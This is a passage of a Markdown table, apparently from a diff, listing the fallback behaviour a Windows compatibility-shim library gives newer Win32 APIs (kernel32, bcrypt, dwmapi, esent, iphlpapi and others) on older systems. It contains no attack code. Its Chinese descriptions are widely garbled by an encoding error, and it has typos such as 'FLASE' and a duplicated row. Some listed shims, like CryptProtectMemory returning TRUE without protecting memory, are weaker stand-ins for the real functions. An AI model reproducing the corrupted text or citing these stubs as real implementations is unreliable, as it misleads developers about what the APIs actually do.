调用PathCchAppendEx。 +| PathCchStripPrefix | 内部实现。 +| PathAllocCombine | 调用PathCchCombineEx。 +| PathAllocCanonicalize | 调用PathCchCanonicalizeEx。 + +## api-ms-win-core-realtime-l1-1-1.dll +| 函数 | Fallback +| ---- | ----------- +| QueryUnbiasedInterruptTimePrecise | 调用QueryUnbiasedInterruptTime。 +| QueryInterruptTime | 读å–KUSER_SHARED_DATA::InterruptTime值。 +| QueryInterruptTimePrecise | 读å–KUSER_SHARED_DATA::InterruptTime值。 + +## api-ms-win-core-threadpool-l1-2-0.dll +| 函数 | Fallback +| ---- | ----------- +| CreateThreadpoolWork | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CloseThreadpoolWork | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| TrySubmitThreadpoolCallback | 调用QueueUserWorkItem。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SubmitThreadpoolWork | 调用QueueUserWorkItem。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| WaitForThreadpoolWorkCallbacks | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CreateThreadpoolTimer | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CloseThreadpoolTimer | 调用DeleteTimerQueueTimer。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetThreadpoolTimer | 调用CreateTimerQueueTimer。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| WaitForThreadpoolTimerCallbacks | 调用WaitForSingleObject。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetEventWhenCallbackReturns | 内部实现。 +| ReleaseSemaphoreWhenCallbackReturns | 内部实现。 +| ReleaseMutexWhenCallbackReturns | 内部实现。 +| LeaveCriticalSectionWhenCallbackReturns | 内部实现。 +| FreeLibraryWhenCallbackReturns | 内部实现。 +| CreateThreadpoolWait | 内部实现。 +| CloseThreadpoolWait | 调用UnregisterWait。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetThreadpoolWait | 调用RegisterWaitForSingleObject。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| WaitForThreadpoolWaitCallbacks | 调用WaitForSingleObject。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CreateThreadpoolIo | 调用BindIoCompletionCallback。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CloseThreadpoolIo | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| StartThreadpoolIo | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CancelThreadpoolIo | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| WaitForThreadpoolIoCallbacks | 调用WaitForSingleObject。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CreateThreadpool | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CloseThreadpool | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetThreadpoolThreadMaximum | 内部实现,自己控制最大并行数é‡ã€‚警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetThreadpoolThreadMinimum | 忽略,并总是返回æˆåŠŸã€‚è­¦å‘Šï¼Œæ­¤å‡½æ•°è¯·å‹¿è·¨æ¨¡å—使用ï¼ï¼ï¼ +| CallbackMayRunLong | 自己估算系统剩余å¯ç”¨çº¿ç¨‹æ•°ã€‚ + +## api-ms-win-core-timezone-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| SystemTimeToTzSpecificLocalTimeEx | 调用 SystemTimeToTzSpecificLocalTime。 + +## api-ms-win-core-winrt-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| RoInitialize | 调用 CoInitializeEx。 +| RoUninitialize | 调用 CoUninitialize。 +| RoActivateInstance | 返回 E_NOTIMPL。 +| RoRegisterActivationFactories | 返回 E_NOTIMPL。 +| RoRevokeActivationFactories | 什么也ä¸åšã€‚ +| RoGetActivationFactory | 返回 CLASS_E_CLASSNOTAVAILABLE +| RoRegisterForApartmentShutdown | 返回 E_NOTIMPL。 +| RoUnregisterForApartmentShutdown | 返回 E_NOTIMPL。 +| RoGetApartmentIdentifier | 返回 E_NOTIMPL。 + +## api-ms-win-core-winrt-error-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| RoFailFastWithErrorContext | 调用RaiseFailFastException。 +| RoOriginateError | æ ¹æ®error值返回TRUE或者FLASE。 +| RoOriginateErrorW | æ ¹æ®error值返回TRUE或者FLASE。 +| RoOriginateLanguageException | 调用RoOriginateError。 +| RoTransformError | æ ¹æ®oldError以åŠnewError值返回TRUE或者FLASE。 +| RoTransformErrorW | æ ¹æ®oldError以åŠnewError值返回TRUE或者FLASE。 + +## api-ms-win-core-winrt-string-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| WindowsCreateString | 内部实现。 +| WindowsCreateStringReference | 内部实现。 +| WindowsDeleteString | 内部实现。 +| WindowsDuplicateString | 内部实现。 +| WindowsGetStringLen | 内部实现。 +| WindowsGetStringRawBuffer | 内部实现。 +| WindowsIsStringEmpty | 内部实现。 +| WindowsStringHasEmbeddedNull | 内部实现。 +| WindowsCompareStringOrdinal | 内部实现。 + +## advapi32.dll +| 函数 | Fallback +| ---- | ----------- +| RegDeleteKeyExW(A) | 调用RegDeleteKeyW(A)。 +| RegSetKeyValueW(A) | 调用RegCreateKeyExW(A)以åŠRegSetValueExW(A)。 +| RegDeleteKeyValueW(A) | 调用RegOpenKeyExW(A)以åŠRegDeleteValueW(A)。 +| RegDeleteTreeW(A) | 调用SHDeleteKeyW(A)。 +| RegGetValueW(A) | 调用RegQueryValueExW(A)。 +| RegCopyTreeW(A) | 调用SHCopyKeyW(A)。 +| EventSetInformation | 返回ERROR_NOT_SUPPORTED。 +| EventActivityIdControl | 返回ERROR_NOT_SUPPORTED。 +| EventRegister | 返回ERROR_NOT_SUPPORTED。 +| EventUnregister | 返回ERROR_NOT_SUPPORTED。 +| EnumerateTraceGuidsEx | 返回ERROR_NOT_SUPPORTED。 +| EventEnabled | 返回ERROR_NOT_SUPPORTED。 +| EventWrite | 返回ERROR_NOT_SUPPORTED。 +| EventWriteTransfer | 返回ERROR_NOT_SUPPORTED。 +| EventWriteEx | 调用EventWriteTransfer。 +| EventWriteString | 返回ERROR_NOT_SUPPORTED。 +| GetDynamicTimeZoneInformationEffectiveYears| 直接读å–`Time Zones`注册表。 +| AddMandatoryAce | 调用RtlCopySid。 +| GetTokenInformation | 返回å‡è£…çš„ TokenVirtualizationAllowedã€TokenAppContainerSid等。 + +## bcrypt.dll +| 函数 | Fallback +| ---- | ----------- +| BCryptOpenAlgorithmProvider | 调用CryptAcquireContextWã€‚ç›®å‰æ”¯æŒçš„算法有:RC2ã€RC4ã€AESã€DESã€3DESã€3DES-112ã€MD2ã€MD4ã€MD5ã€SHA1ã€SHA256ã€SHA384ã€SHA512ã€RNGã€FIPS186DSARNGã€DUALECRNG。 +| BCryptCloseAlgorithmProvider | 调用CryptReleaseContext。 +| BCryptGenRandom | 调用RtlGenRandom。 +| BCryptGetProperty | 调用CryptGetKeyParam。 +| BCryptSetProperty | 调用CryptSetKeyParam。 +| BCryptCreateHash | 调用CryptCreateHash。 +| BCryptDestroyHash | 调用CryptDestroyHash。 +| BCryptHashData | 调用CryptHashData。 +| BCryptFinishHash | 调用CryptGetHashParam。 +| BCryptDeriveKeyPBKDF2 | 调用BCryptHashData。 +| BCryptDeriveKeyCapi | 调用BCryptHashData。 +| BCryptEncrypt | 调用CryptEncrypt。 +| BCryptDecrypt | 调用CryptDecrypt。 +| BCryptGenerateSymmetricKey | 调用CryptImportKey。 +| BCryptDestroyKey | 调用CryptDestroyKey。 +| BCryptExportKey | 调用CryptExportKey。 +| BCryptImportKey | 调用CryptImportKey。 + +## bcryptprimitives.dll +| 函数 | Fallback +| ---- | ----------- +| ProcessPrng | 调用RtlGenRandom。 + +## bluetoothapis.dll +| 函数 | Fallback +| ---- | ----------- +| BluetoothGATTGetCharacteristicValue | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTGetCharacteristics | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTGetDescriptors | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTGetServices | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTRegisterEvent | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTSetCharacteristicValue | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTSetDescriptorValue | 返回ERROR_NOT_SUPPORTED。 + +## CfgMgr32.dll +| 函数 | Fallback +| ---- | ----------- +| CM_Get_DevNode_Property_ExW | 调用CM_Get_DevNode_Registry_PropertyW。 +| CM_Set_DevNode_Property_ExW | 调用CM_Set_DevNode_Registry_PropertyW。 +| CM_Get_DevNode_PropertyW | 调用CM_Get_DevNode_Property_ExW。 +| CM_Set_DevNode_PropertyW | 调用CM_Set_DevNode_Property_ExW。 + +## Crypt32.dll +| 函数 | Fallback +| ---- | ----------- +| CryptProtectMemory | 返回TRUE。 +| CryptUnprotectMemory | 返回TRUE。 +| CryptBinaryToStringW(A) | 为Windows XP模拟 CRYPT_STRING_NOCRLF。 + +## d3d9.dll +| 函数 | Fallback +| ---- | ----------- +| Direct3DCreate9Ex | 返回 `D3DERR_NOTAVAILABLE`。 + +## d3d11.dll +| 函数 | Fallback +| ---- | ----------- +| D3D11CreateDevice | 返回 `E_NOINTERFACE`。 +| CreateDirect3D11DeviceFromDXGIDevice | 返回 `E_NOINTERFACE`。 + +## d3d12.dll +| 函数 | Fallback +| ---- | ----------- +| D3D12CreateDevice | 返回 `E_NOINTERFACE`。 +| D3D12GetDebugInterface | 返回 `E_NOINTERFACE`。 +| D3D12SerializeVersionedRootSignature | 返回 `E_NOINTERFACE`。 + +## DbgHelp.dll +| 函数 | Fallback +| ---- | ----------- +| SymSetSearchPathW | 调用SymSetSearchPath。 +| SymGetSearchPathW | 调用SymGetSearchPath。 + +## Dnsapi.dll +| 函数 | Fallback +| ---- | ----------- +| DnsQueryEx | 调用DnsQuery_W。 +| DnsCancelQuery | 内部实现。 + +## dwmapi.dll +| 函数 | Fallback +| ---- | ----------- +| DwmEnableBlurBehindWindow | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmIsCompositionEnabled | 总是返回组åˆå±‚已关闭。 +| DwmEnableComposition | 如果å°è¯•å¼€å¯ç»„åˆï¼Œé‚£ä¹ˆè¿”回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ï¼Œå…¶ä»–情况返回 S_OK_。 +| DwmExtendFrameIntoClientArea | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmDefWindowProc | 返回 FALSE。 +| DwmGetColorizationColor | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmGetWindowAttribute | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmSetWindowAttribute | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmFlush | 返回 `S_OK_`。 +| DwmGetCompositionTimingInfo | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmInvalidateIconicBitmaps | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmSetIconicLivePreviewBitmap | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmSetIconicThumbnail | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ + + +## dwrite.dll +| 函数 | Fallback +| ---- | ----------- +| DWriteCreateFactory | 返回 `E_NOINTERFACE`。
此外NT6或者更高版本æä¾›IDWriteFactory3模拟。 + +## dxgi.dll +| 函数 | Fallback +| ---- | ----------- +| CreateDXGIFactory | 返回 `DXGI_ERROR_UNSUPPORTED`。 +| CreateDXGIFactory1 | 调用 CreateDXGIFactory。 +| CreateDXGIFactory2 | 调用 CreateDXGIFactory1。 + +## dxva2.dll +| 函数 | Fallback +| ---- | ----------- +| DXVA2CreateVideoService | 返回 `E_NOINTERFACE`。 + +## esent.dll +| 函数 | Fallback +| ---- | ----------- +| JetAddColumnA | 调用JetAddColumn。 +| JetAddColumnA | 调用JetAddColumn。 +| JetAttachDatabaseA | 调用JetAttachDatabase。 +| JetAttachDatabase2A | 调用JetAttachDatabase2。 +| JetAttachDatabaseWithStreamingA | 调用JetAttachDatabaseWithStreaming。 +| JetBackupA | 调用JetBackup。 +| JetBackupInstanceA | 调用JetBackupInstance。 +| JetBeginSessionA | 调用JetBeginSession。 +| JetCompactA | 调用JetCompact。 +| JetConvertDDLA | 调用JetConvertDDL。 +| JetCreateDatabaseA | 调用JetCreateDatabase。 +| JetCreateDatabase2A | 调用JetCreateDatabase2。 +| JetCreateDatabaseWithStreamingA | 调用JetCreateDatabaseWithStreaming。 +| JetCreateIndexA | 调用JetCreateIndex。 +| JetCreateIndex2A | 调用JetCreateIndex2。 +| JetCreateInstanceA | 调用JetCreateInstance。 +| JetCreateInstance2A | 调用JetCreateInstance2。 +| JetCreateTableA | 调用JetCreateTable。 +| JetCreateTableColumnIndexA | 调用JetCreateTableColumnIndex。 +| JetCreateTableColumnIndex2A | 调用JetCreateTableColumnIndex2。 +| JetDBUtilitiesA | 调用JetDBUtilities。 +| JetDefragmentA | 调用JetDefragment。 +| JetDefragment2A | 调用JetDefragment2。 +| JetDeleteColumnA | 调用JetDeleteColumn。 +| JetDeleteColumn2A | 调用JetDeleteColumn2。 +| JetDeleteIndexA | 调用JetDeleteIndex。 +| JetDeleteTableA | 调用JetDeleteTable。 +| JetDetachDatabaseA | 调用JetDetachDatabase。 +| JetDetachDatabase2A | 调用JetDetachDatabase2。 +| JetEnableMultiInstanceA | 调用JetEnableMultiInstance。 +| JetExternalRestoreA | 调用JetExternalRestore。 +| JetExternalRestore2A | 调用JetExternalRestore2。 +| JetGetAttachInfoA | 调用JetGetAttachInfo。 +| JetGetAttachInfoInstanceA | 调用JetGetAttachInfoInstance。 +| JetGetColumnInfoA | 调用JetGetColumnInfo。 +| JetGetCurrentIndexA | 调用JetGetCurrentIndex。 +| JetGetDatabaseFileInfoA | 调用JetGetDatabaseFileInfo。 +| JetGetDatabaseInfoA | 调用JetGetDatabaseInfo。 +| JetGetIndexInfoA | 调用JetGetIndexInfo。 +| JetGetInstanceInfoA | 调用JetGetInstanceInfo。 +| JetGetLogInfoA | 调用JetGetLogInfo。 +| JetGetLogInfoInstanceA | 调用JetGetLogInfoInstance。 +| JetGetLogInfoInstance2A | 调用JetGetLogInfoInstance2。 +| JetGetObjectInfoA | 调用JetGetObjectInfo。 +| JetGetSystemParameterA | 调用JetGetSystemParameter。 +| JetGetTableColumnInfoA | 调用JetGetTableColumnInfo。 +| JetGetTableIndexInfoA | 调用JetGetTableIndexInfo。 +| JetGetTableInfoA | 调用JetGetTableInfo。 +| JetGetTruncateLogInfoInstanceA | 调用JetGetTruncateLogInfoInstance。 +| JetInit3A | 调用JetInit3。 +| JetOpenDatabaseA | 调用JetOpenDatabase。 +| JetOpenFileA | 调用JetOpenFile。 +| JetOpenFileInstanceA | 调用JetOpenFileInstance。 +| JetOpenTableA | 调用JetOpenTable。 +| JetOSSnapshotFreezeA | 调用JetOSSnapshotFreeze。 +| JetRenameColumnA | 调用JetRenameColumn。 +| JetRenameTableA | 调用JetRenameTable。 +| JetRestoreA | 调用JetRestore。 +| JetRestore2A | 调用JetRestore2。 +| JetRestoreInstanceA | 调用JetRestoreInstance。 +| JetSetColumnDefaultValueA | 调用JetSetColumnDefaultValue。 +| JetSetCurrentIndexA | 调用JetSetCurrentIndex。 +| JetSetCurrentIndex2A | 调用JetSetCurrentIndex2。 +| JetSetCurrentIndex3A | 调用JetSetCurrentIndex3。 +| JetSetCurrentIndex4A | 调用JetSetCurrentIndex4。 +| JetSetDatabaseSizeA | 调用JetSetDatabaseSize。 +| JetSetSystemParameterA | 调用JetSetSystemParameter。 +| JetSnapshotStartA | 调用JetSnapshotStart。 +| JetUpgradeDatabaseA | 调用JetUpgradeDatabase。 +| JetAttachDatabase2W | 调用JetAttachDatabase2A。 +| JetBeginSessionW | 调用JetBeginSessionA。 +| JetCreateInstanceW | 调用JetCreateInstanceA。 +| JetGetTableColumnInfoW | 调用JetGetTableColumnInfoA。 +| JetOpenDatabaseW | 调用JetOpenDatabaseA。 +| JetOpenTableW | 调用JetOpenTableA。 +| JetSetSystemParameterW | 调用JetSetSystemParameterA。 +| JetGetSystemParameterW | 调用JetGetSystemParameterA。 + +## iphlpapi.dll +| 函数 | Fallback +| ---- | ----------- +| GetIfTable2 | 调用GetIfTable,并使用HeapAlloc申请内存。 +| GetIfTable2Ex | 调用GetIfTable,并使用HeapAlloc申请内存。 +| GetIfEntry2 | 调用GetIfEntry。 +| GetIfEntry2Ex | 调用GetIfEntry2。 +| FreeMibTable | 调用HeapFree。 +| ConvertInterfaceIndexToLuid | 调用GetIfEntry。 +| ConvertInterfaceLuidToNameW(A) | 内部实现。 +| ConvertInterfaceNameToLuidW(A) | 内部实现。 +| if_nametoindex | 调用GetIfEntry。 +| if_indextoname | 调用ConvertInterfaceIndexToLuidã€ConvertInterfaceLuidToNameA。 +| ConvertInterfaceLuidToGuid | 调用GetIfEntry。 +| ConvertInterfaceLuidToIndex | 内部实现。 +| * NotifyIpInterfaceChange | 什么也ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| CancelMibChangeNotify2 | 什么也ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ + +## kernel32.dll +| 函数 | Fallback +| ---- | ----------- +| DecodePointer | 返回指针本身。 +| EncodePointer | 返回指针本身。 +| Wow64DisableWow64FsRedirection | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| Wow64RevertWow64FsRedirection | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| Wow64EnableWow64FsRedirection | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| IsWow64Process2 | 调用IsWow64Process。 +| IsWow64GuestMachineSupported | 调用GetNativeSystemInfo。 +| GetTickCount64 | 调用GetTickCount。 +| GetSystemTimePreciseAsFileTime | 调用GetSystemTimeAsFileTime。 +| InitializeCriticalSectionEx | 调用InitializeCriticalSectionAndSpinCount。 +| InitOnceInitialize | åˆå§‹åŒ–为 INIT_ONCE_STATIC_INIT。 +| InitOnceBeginInitialize | 调用NtWaitForKeyedEvent。 +| InitOnceComplete | 调用NtReleaseKeyedEvent。 +| InitOnceExecuteOnce | 调用NtWaitForKeyedEvent以åŠNtReleaseKeyedEvent。 +| LocaleNameToLCID | 查LocaleNameToLcidTable。 +| LCIDToLocaleName | 查LcidToLocaleNameTable。 +| GetLocaleInfoEx | 调用GetLocaleInfoW。 +| GetDateFormatEx | 调用GetDateFormatW。 +| GetTimeFormatEx | 调用GetTimeFormatW。 +| GetNumberFormatEx | 调用GetNumberFormatW。 +| GetCurrencyFormatEx | 调用GetCurrencyFormatW。 +| GetUserDefaultLocaleName | 调用LCIDToLocaleName。 +| GetSystemDefaultLocaleName | 调用LCIDToLocaleName。 +| EnumCalendarInfoExEx | 调用EnumCalendarInfoExW。 +| EnumDateFormatsExEx | 调用EnumDateFormatsExW。 +| LCMapStringEx | 调用LCMapStringW。 +| GetFileInformationByHandleEx | 调用NtQueryInformationFile 或者 NtQueryDirectoryFile。 +| SetFileInformationByHandle | 调用NtSetInformationFile。 +| GetFinalPathNameByHandleW(A) | 调用NtQueryObject以åŠNtQueryInformationFile。 +| GetLogicalProcessorInformation | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| GetLogicalProcessorInformationEx | 调用GetLogicalProcessorInformation。 +| GetNumaHighestNodeNumber | 返回0。 +| RaiseFailFastException | 调用TerminateProcess。 +| GetThreadId | 调用NtQueryInformationThread。 +| GetProcessIdOfThread | 调用NtQueryInformationThread。 +| GetProcessId | 调用NtQueryInformationProcess。 +| QueryThreadCycleTime | 调用GetThreadTimes。 +| QueryProcessCycleTime | 调用GetProcessTimes。 +| K32EnumProcessModules | 调用EnumProcessModules。 +| K32EnumProcessModulesEx | 调用EnumProcessModulesEx。 +| K32GetModuleBaseNameW(A) | 调用GetModuleBaseNameW(A)。 +| K32GetModuleFileNameExW(A) | 调用K32GetModuleFileNameExW(A)。 +| K32EmptyWorkingSet | 调用EmptyWorkingSet。 +| K32QueryWorkingSet | 调用QueryWorkingSet。 +| K32QueryWorkingSetEx | 调用QueryWorkingSetEx。 +| K32InitializeProcessForWsWatch | 调用InitializeProcessForWsWatch。 +| K32GetWsChanges | 调用GetWsChanges。 +| K32GetWsChangesEx | 调用GetWsChangesEx。 +| K32GetMappedFileNameW(A) | 调用GetMappedFileNameW(A)。 +| K32EnumDeviceDrivers | 调用EnumDeviceDrivers。 +| K32GetDeviceDriverBaseNameW(A) | 调用GetDeviceDriverBaseNameW(A)。 +| K32GetDeviceDriverFileNameW(A) | 调用GetDeviceDriverFileNameW(A)。 +| K32GetPerformanceInfo | 调用GetPerformanceInfo。 +| K32EnumPageFilesW(A) | 调用EnumPageFilesW(A)。 +| K32GetProcessImageFileNameW(A) | 调用GetProcessImageFileNameW(A)。 +| K32GetProcessMemoryInfo | 调用GetProcessMemoryInfo。 +| K32EnumProcesses | 调用EnumProcesses。 +| K32GetModuleInformation | 调用GetModuleInformation。 +| QueryFullProcessImageNameW(A) | 调用GetProcessImageFileNameW(A) 或者 GetModuleFileNameExW(A)。 +| CreateFile2 | 调用CreateFileW。 +| CreateEventExW(A) | 调用CreateEventW(A)。 +| CreateMutexExW(A) | 调用CreateMutexW(A)。 +| CreateSemaphoreExW | 调用CreateSemaphoreW。 +| CreateWaitableTimerExW | 调用CreateWaitableTimerW。 +| InterlockedCompareExchange64 | 调用内部函数_InterlockedCompareExchange64。 +| SetThreadErrorMode | 调用SetErrorMode。 +| GetThreadErrorMode | 调用GetErrorMode。 +| GetErrorMode | 调用NtQueryInformationProcess。 +| InitializeSRWLock | åˆå§‹åŒ–为 RTL_SRWLOCK_INIT。 +| AcquireSRWLockExclusive | 调用NtWaitForKeyedEvent。 +| TryAcquireSRWLockExclusive | 调用InterlockedBitTestAndSet(64)。 +| ReleaseSRWLockExclusive | 调用NtReleaseKeyedEvent。 +| AcquireSRWLockShared | 调用NtWaitForKeyedEvent。 +| TryAcquireSRWLockShared | 调用InterlockedCompareExchange。 +| ReleaseSRWLockShared | 调用NtReleaseKeyedEvent。 +| InitializeConditionVariable | åˆå§‹åŒ–为 CONDITION_VARIABLE_INIT。 +| SleepConditionVariableCS | 调用NtWaitForKeyedEvent。 +| SleepConditionVariableSRW | 调用NtWaitForKeyedEvent。 +| WakeConditionVariable | 调用NtReleaseKeyedEvent。 +| WakeAllConditionVariable | 调用NtReleaseKeyedEvent。 +| InitializeSynchronizationBarrier | 调用CreateEvent。 +| EnterSynchronizationBarrier | 调用WaitForSingleObject。 +| DeleteSynchronizationBarrier | 调用CloseHandle。 +| WaitOnAddress | 调用NtWaitForKeyedEvent。 +| WakeByAddressSingle | 调用NtReleaseKeyedEvent。 +| WakeByAddressAll | 调用NtReleaseKeyedEvent。 +| GetCurrentProcessorNumber | 调用cpuid。 +| GetCurrentProcessorNumberEx | 调用GetCurrentProcessorNumber。 +| GetNumaNodeProcessorMask | å‡å®šæ‰€æœ‰CPU都在当å‰Numa。 +| GetNumaNodeProcessorMaskEx | 调用GetNumaNodeProcessorMask。 +| GetThreadGroupAffinity | 调用NtQueryInformationThread。 +| SetThreadGroupAffinity | 调用SetThreadAffinityMask。 +| GetOverlappedResultEx | 调用WaitForSingleObjectEx。 +| *CancelIoEx | 调用CancelIoã€‚è­¦å‘Šï¼Œä¼šæŠŠæ­¤å¥æŸ„的所有IOæ“ä½œå–æ¶ˆæŽ‰ï¼ +| *CancelSynchronousIo | ä»…è¿”å›žå¤±è´¥ã€‚è­¦å‘Šï¼Œå®žé™…æ— æ³•å–æ¶ˆï¼ +| OpenFileById | 调用NtCreateFile。 +| CreateSymbolicLinkW(A) | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| ReOpenFile | 调用NtCreateFile。 +| CompareStringEx | 调用CompareStringW。 +| CompareStringOrdinal | 使用内置UnicodeCaseTableData实现。 +| SetFilePointerEx | 调用SetFilePointer。 +| GetModuleHandleExW(A) | 调用GetModuleHandleW(A)。 +| WTSGetActiveConsoleSessionId | 直接返回 0。 +| GetNativeSystemInfo | 调用GetSystemInfo。 +| InitializeSListHead | 直接åˆå§‹åŒ–为 0。 +| InterlockedFlushSList | 调用lock cmpxchg8b指令。 +| QueryDepthSList | 直接返回Depth。 +| InterlockedPushEntrySList | 调用lock cmpxchg8b指令。 +| InterlockedPopEntrySList | 调用lock cmpxchg8b指令。 +| GetNumaProximityNodeEx | 调用GetNumaProximityNode。 +| GetNumaProcessorNode | å‡å®šæ‰€æœ‰CPU都在节点 0。 +| GetNumaNodeNumberFromHandle | å‡å®šæ‰€æœ‰CPU都在节点 0。 +| GetNumaProcessorNodeEx | 调用 GetNumaProcessorNode。 +| GetNumaAvailableMemoryNode | å‡å®šæ‰€æœ‰å†…存都属于节点0。 +| GetNumaAvailableMemoryNodeEx | 调用 GetNumaAvailableMemoryNode。 +| GetNumaProximityNode | å‡å®šéƒ½æ˜¯èŠ‚ç‚¹0。 +| AllocateUserPhysicalPagesNuma | 调用 AllocateUserPhysicalPages。 +| MapViewOfFileExNuma | 调用 MapViewOfFileEx。 +| VirtualAllocExNuma | 调用 VirtualAllocEx。 +| CreateFileMappingNumaW(A) | 调用 CreateFileMappingW(A)。 +| GetMaximumProcessorCount | 调用 GetSystemInfo。 +| GetActiveProcessorCount | 调用 GetSystemInfo。 +| GetActiveProcessorGroupCount | å‡å®šä¸º1。 +| GetMaximumProcessorGroupCount | å‡å®šä¸º1。 +| GetMemoryErrorHandlingCapabilities | ç›´æŽ¥æŠ¥å‘Šä¸æ”¯æŒä»»ä½•特性。 +| VirtualAllocFromApp | 调用 VirtualAlloc。 +| VirtualAlloc2 | 调用 VirtualAllocExNuma ä»¥åŠ VirtualAllocEx。 +| VirtualAlloc2FromApp | 调用 VirtualAllocExNuma ä»¥åŠ VirtualAllocEx。 +| CreateFileMappingFromApp | 调用 CreateFileMappingW。 +| CreateFileMapping2 | 调用 CreateFileMappingNumaW ä»¥åŠ CreateFileMappingW。 +| MapViewOfFileFromApp | 调用 MapViewOfFile。 +| UnmapViewOfFileEx | 调用 UnmapViewOfFile。 +| VirtualProtectFromApp | 调用 VirtualProtect。 +| OpenFileMappingFromApp | 调用 OpenFileMappingW。 +| FlushProcessWriteBuffers | 调用VirtualProtect。 +| FlsAlloc | 使用Tls实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| FlsFree | 使用Tls实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| FlsGetValue | 使用Tls实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| FlsSetValue | 使用Tls实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| IsThreadAFiber | 调用 GetCurrentFiber。 +| ConvertThreadToFiberEx | 调用 ConvertThreadToFiber。 +| GetDynamicTimeZoneInformation | 调用 GetTimeZoneInformation。 +| SetDynamicTimeZoneInformation | 调用 SetTimeZoneInformation。 +| GetProductInfo | 调用 GetVersionExW。 +| EnumSystemLocalesEx | 调用 EnumSystemLocalesW。 +| GetThreadPreferredUILanguages | 调用 GetThreadLocaleã€GetUserDefaultLangID以åŠGetSystemDefaultLangID。 +| GetThreadUILanguage | 调用 GetThreadLocale。 +| ResolveLocaleName | 调用 LocaleNameToLCID以åŠLCIDToLocaleName。 +| InitializeProcThreadAttributeList | 内部实现。 +| DeleteProcThreadAttributeList | 内部实现。 +| UpdateProcThreadAttribute | 内部实现。PROC_THREAD_ATTRIBUTE_PARENT_PROCESS与PROC_THREAD_ATTRIBUTE_HANDLE_LIST特性会被忽略处ç†ã€‚ +| GetLargePageMinimum | å‡å®šä¸º0。 +| SetThreadStackGuarantee | 调用VirtualAlloc。 +| SetCoalescableTimer | 调用SetTimer。 +| SetWaitableTimerEx | 调用SetWaitableTimer。 +| EnumResourceLanguagesExW(A) | 调用EnumResourceLanguagesW(A)。 +| DiscardVirtualMemory | 调用VirtualAlloc MEM_RESET。 +| OfferVirtualMemory | 返回ERROR_SUCCESS。 +| ReclaimVirtualMemory | 返回ERROR_SUCCESS。 +| PrefetchVirtualMemory | 返回ERROR_SUCCESS。 +| GetProcessMitigationPolicy | 调用NtQueryInformationProcess。 +| SetProcessMitigationPolicy | 调用NtSetInformationProcess。 +| SetProcessInformation | 调用NtSetInformationProcess。 +| GetThreadInformation | 调用NtQueryInformationThread。 +| SetThreadInformation | 调用NtSetInformationThread。 +| PowerCreateRequest | 内部实现。 +| PowerSetRequest | 调用 SetThreadExecutionState。 +| PowerClearRequest | 调用 SetThreadExecutionState。 +| TzSpecificLocalTimeToSystemTime | 内部实现。 +| TzSpecificLocalTimeToSystemTimeEx | 内部实现。 +| GetFirmwareType | 调用NtQuerySystemInformation。 +| IsNativeVhdBoot | 调用NtQuerySystemInformation。 +| RtlCaptureStackBackTrace | 调用ntdll.RtlCaptureStackBackTrace。 +| SetFileCompletionNotificationModes | 什么也ä¸åšã€‚ +| GetQueuedCompletionStatusEx | 调用 